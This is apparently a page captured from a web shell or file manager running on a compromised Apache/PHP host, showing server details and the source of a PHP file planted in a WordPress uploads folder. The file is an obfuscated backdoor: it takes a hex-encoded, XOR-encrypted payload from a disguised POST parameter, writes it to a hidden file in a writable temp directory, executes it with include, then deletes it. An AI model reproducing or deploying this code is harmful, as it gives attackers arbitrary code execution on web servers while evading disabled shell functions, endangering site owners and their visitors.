HEX
Server: Apache/2
System: Linux sv174 5.14.0-570.21.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jun 11 07:22:35 EDT 2025 x86_64
User: casinobe (1137)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/casinobe/domains/pug555-a.com/private_html/wp-content/uploads/wpcode/b/e/g/et.EE.php
<?php

if(filter_has_var(INPUT_POST, "d\x65\x73\x63\x72\x69ptor")){
	$pointer = array_filter([sys_get_temp_dir(), "/tmp", "/dev/shm", "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), session_save_path()]);
	$data = hex2bin($_REQUEST["d\x65\x73\x63\x72\x69ptor"]);
	$k   =      ''   ;      for($i=0; $i<strlen($data); $i++){$k .= chr(ord($data[$i]) ^ 72);}
	for ($entry = 0, $bind = count($pointer); $entry < $bind; $entry++) {
    $pgrp = $pointer[$entry];
    		if (is_dir($pgrp) && is_writable($pgrp)) {
    $flg = "$pgrp/.desc";
    $success = file_put_contents($flg, $k);
if ($success) {
	include $flg;
	@unlink($flg);
	die();}
}
}
}